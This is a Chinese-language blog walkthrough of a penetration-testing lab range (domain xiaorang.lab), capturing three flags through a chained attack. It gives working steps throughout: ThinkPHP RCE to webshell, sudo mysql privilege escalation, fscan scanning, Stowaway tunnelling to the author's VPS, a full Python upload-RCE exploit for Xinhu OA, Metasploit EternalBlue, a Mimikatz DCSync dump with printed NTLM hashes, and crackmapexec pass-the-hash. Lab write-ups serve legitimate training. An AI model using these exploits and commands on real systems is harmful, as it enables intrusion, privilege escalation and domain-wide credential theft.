本文最后更新于 2025-11-14T00:29:51+08:00
flag1 信息收集 用 Tscan 扫 Web 指纹可知是ThinkPHP服务
或者直接看 Web 页面的图标
利用工具检测到存在 ThinkPHP 漏洞
getshell 直接getshell
用蚁剑连接
sudo提权 成功连接上后是普通权限,需要提权
先尝试是否存在 SUID 提权的可能
1 find / -perm -u=s -type f 2>/dev/null
没有可以利用的命令,要打sudo提权,查找当前用户可以执行的sudo权限
发现可以在不需要密码的情况下直接使用/usr/bin/mysql这个命令,而且还是个root权限的,可以利用这个命令暂时获得root权限
mysql中有个-e选项,允许执行 SQL 语句,要执行系统命令时在命令前面加上\! 即可
https://gtfobins.github.io/gtfobins/mysql/
此时就是root权限了,然后查看带flag的文件名的位置
1 sudo mysql -e '\! find / -type f -name "*flag*" 2>/dev/null'
可以找到flag1
1 sudo mysql -e '\! cat /root/flag/flag01.txt'
flag2 fscan信息收集 接下来打内网,先查看网络配置
可以发现当前的内网 IP 是172.22.1.15,后面的scope global意味着这个地址可以和外部网络通信
就得到了内网网段172.22.1.0/24
上传fscan:https://github.com/shadow1ng/fscan/releases
授予执行权限
然后利用这个工具对内网网段172.22.1.0/24进行扫描
1 ./fscan -h 172.22.1.0/24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 172.22.1.18:3306 open172.22.1.21:445 open172.22.1.18:445 open172.22.1.2:445 open172.22.1.18:139 open172.22.1.21:139 open172.22.1.2:139 open172.22.1.18:135 open172.22.1.21:135 open172.22.1.2:135 open172.22.1.18:80 open172.22.1.15:80 open172.22.1.15:22 open172.22.1.2:88 open[*] NetInfo [*] 172 .22 .1 .18 [->] XIAORANG-OA01 [->] 172 .22 .1 .18 [*] NetInfo [*] 172 .22 .1 .2 [->] DC01 [->] 172 .22 .1 .2 [*] OsInfo 172 .22 .1 .2 (Windows Server 2016 Datacenter 14393 )[*] WebTitle http://172 .22 .1 .15 code:200 len:5578 title:Bootstrap Material Admin[+] MS17-010 172 .22 .1 .21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1 )[*] NetBios 172 .22 .1 .18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600 [*] NetBios 172 .22 .1 .21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] NetBios 172 .22 .1 .2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] NetInfo [*] 172 .22 .1 .21 [->] XIAORANG-WIN7 [->] 172 .22 .1 .21 [*] WebTitle http://172 .22 .1 .18 code:302 len:0 title:None 跳转url: http://172 .22 .1 .18 ?m=login[*] WebTitle http://172 .22 .1 .18 ?m=login code:200 len:4012 title:信呼协同办公系统[+] PocScan http://172 .22 .1 .15 poc-yaml-thinkphp5023-method-rce poc1
可以找到四个内网主机:
172.22.1.15:就是当前主机,已发现ThinkPHP 5.0.23 RCE漏洞
172.22.1.2:是DC(域控制器),发现 Windows Server 2016 Datacenter
DC(Domain Controller,域控制器)是Windows网络环境中负责管理域内用户、计算机和其他网络资源的服务器,存储着域的目录数据库,提供身份验证、授权和访问控制服务
172.22.1.21:是存在MS17-010(永恒之蓝)漏洞的Win7,可以作为横向移动的跳板
172.22.1.18:另一个Web站点,是信呼OA(信呼协同办公系统)
内网代理 先打172.22.1.18信呼OA,使用 Stowaway 进行内网代理
Stowaway下载地址:https://github.com/ph4ntonn/Stowaway/releases
下载这俩文件,其中linux_x64_admin放在自己的vps上
linux_x64_agent放在目标靶机上
命令如下:
1 2 3 4 ./linux_x64_admin -l <端口号> ./linux_x64_agent -c <admin的IP>:<admin的端口>
可能在admin机上执行命令时会出现以下权限报错
授予可执行权限即可
1 chmod +x linux_x64_admin
再执行./linux_x64_admin -l 9999
然后在靶机上输入命令,这里也要给权限:
1 chmod +x linux_x64_agent
1 ./linux_x64_agent -c <admin的IP>:<admin的端口>
在vps上看到多出(admin) >>,这就是成功连上了
然后输入help或者h就可以查看命令
命令
功能
help
显示帮助信息、命令
detail
显示已连接节点的信息
topo
显示节点的拓扑结构,直观了解各节点间的连接关系、布局等情况
use
用来选择用户想要使用的目标节点
exit
用于退出程序
这里detail展示连接节点的信息,然后使用命令use 0选择连这个主机,可以一次连接多个,如果有多个就use <id>,id就是前面的Node[id]
然后开一个socks进行流量转发
像上面图这样就是开成功了,然后是想要在自己本机上执行命令打到内网有三种方式,这里使用Proxifier,其他的在另一个博客中有写
配置:打开配置文件中的代理服务器
添加一个代理服务器,写入vps的 IP 和流量转发到的端口,使用SOCK Version 5
然后是第二个代理规则
选择刚才配置的
就可以直接在本机访问到内网服务了
内网渗透 先扫一下目录
扫到了phpmyadmin,弱口令爆破出admin的密码是admin123,成功登录后台
访问http://172.22.1.18/phpmyadmin,也是弱口令登录,用户名和密码都是root,成功登录后台
https://www.cnblogs.com/Error1s/p/16869854.html
信呼OA有个文件上传漏洞,直接打POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests session = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'dGVzdA::' , 'adminpass' : 'YWJjMTIz' , 'yanzm' : '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json()['filepath' ]) filepath = "/" + filepath.split('.uptemp' )[0 ] + '.php' id = r.json()['id' ] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id } ' r = session.get(url3)
同目录下要新建一个1.php文件,写入一句话木马
直接运行脚本得到
1 2 3 4 <br /><b> Notice</b >: Undefined index : shell in <b> C:\phpStudy\PHPTutorial\WWW\upload\2025 -11 \13 _19110039.php</b > on line <b> 1 </b ><br /> /upload/2025 -11 /13 _19110039.php
直接蚁剑连接
进入到C:\Users\Administrator\flag,然后用type命令读flag02.txt
flag3 设置kali代理 然后打172.22.1.21的永恒之蓝,打之前先kali设置socks5代理
找到/etc/proxychains4.conf,写入:
1 socks5 47.122.75.126 15000
msf打永恒之蓝 利用msf打永恒之蓝,由于目标主机可能不出网,需要设置正向连接的payload
1 2 3 4 5 proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp_uuidset RHOSTS 172.22.1.21 exploit
成功正向连接,获取到 SYSTEM 权限
DCSync攻击
https://xz.aliyun.com/news/11561
DCSync攻击: DCSync的原理是利用域控制器之间的数据同步复制 DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式DCSync 攻击前提: 想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
此时是 SYSTEM 权限,满足 DCSync 攻击条件
加载 kiwi 模块(Mimikatz 的增强版),可以用来抓取系统内的各种凭据
查看域名信息
1 systeminfo | findstr /C:"域"
得到xiaorang.lab
从DC(域控制器)中导出所有用户的凭据信息
1 kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv[proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [DC] 'xiaorang.lab' will be the domain[DC] 'DC01.xiaorang.lab' will be the DC server[DC] Exporting domain 'xiaorang.lab' [rpc] Service : ldap[rpc] AuthnSvc : GSS_NEGOTIATE (9 )502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514 1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512 1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512 1000 DC01$ 2 cf8d85eefd7220ca84a1edf5ad927bb 532480 500 Administrator 10 cf89a850fb1cdbe6bb432b859164c8 512 1104 XIAORANG-OA01$ a2bfc26aa025568fbd8c49d64aff65d4 4096 1108 XIAORANG-WIN7$ 5 f193dc784fcfbe1e5182f86fb274096 4096
得到了Administrator的哈希:10cf89a850fb1cdbe6bb432b859164c8
哈希传递攻击 利用crackmapexec进行哈希传递攻击,以Administrator的身份执行命令
先查找flag位置
1 proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "find / -type f -name " *flag*" 2>/dev/null"
读flag
1 proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
1 flag{60b53231 -2ce3-4813 -87d4-e8f88d0d43d6}
参考文章
https://xz.aliyun.com/news/11561
https://blog.csdn.net/uuzeray/article/details/141316323